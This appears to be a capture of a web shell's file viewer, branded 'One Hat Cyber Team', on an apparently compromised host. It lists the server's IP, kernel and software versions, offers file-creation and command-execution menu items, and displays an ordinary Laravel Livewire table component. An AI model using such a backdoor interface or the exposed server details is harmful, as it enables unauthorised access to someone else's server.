⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.138
Server IP:
186.226.58.36
Server:
Linux da02.sh15.net 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Server Software:
Apache/2
PHP Version:
8.1.32
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
redesystem
/
public_html
/
sys
/
app
/
Livewire
/
View File Name :
LivewireTableComponent.php
<?php namespace App\Livewire; use Rappasoft\LaravelLivewireTables\DataTableComponent; use Rappasoft\LaravelLivewireTables\Exceptions\DataTableConfigurationException; /** * Class LivewireTableComponent */ class LivewireTableComponent extends DataTableComponent { protected bool $columnSelectStatus = false; protected $listeners = ['resetPageTable', '$refresh']; public bool $paginationStatus = true; public bool $sortingPillsStatus = false; public bool $filterPillsStatus = false; public bool $showFilterOnHeader = false; public string $emptyMessage = ('messages.no_records_found'); // for table header button public $showButtonOnHeader = false; public $buttonComponent = ''; public function configure(): void { // TODO: Implement configure() method. } public function columns(): array { // TODO: Implement columns() method. } /** * @throws DataTableConfigurationException */ // public function mountWithPagination(): void // { // if ($this->paginationIsDisabled()) { // return; // } // $this->setPerPage($this->getPerPageAccepted()[0] ?? 10); // } public function customResetPage($pageName = 'page') { $rowsPropertyData = $this->getRows()->toArray(); $prevPageNum = $rowsPropertyData['current_page'] - 1; $prevPageNum = $prevPageNum > 0 ? $prevPageNum : 1; $pageNum = count($rowsPropertyData['data']) > 0 ? $rowsPropertyData['current_page'] : $prevPageNum; $this->setPage($pageNum, $pageName); } }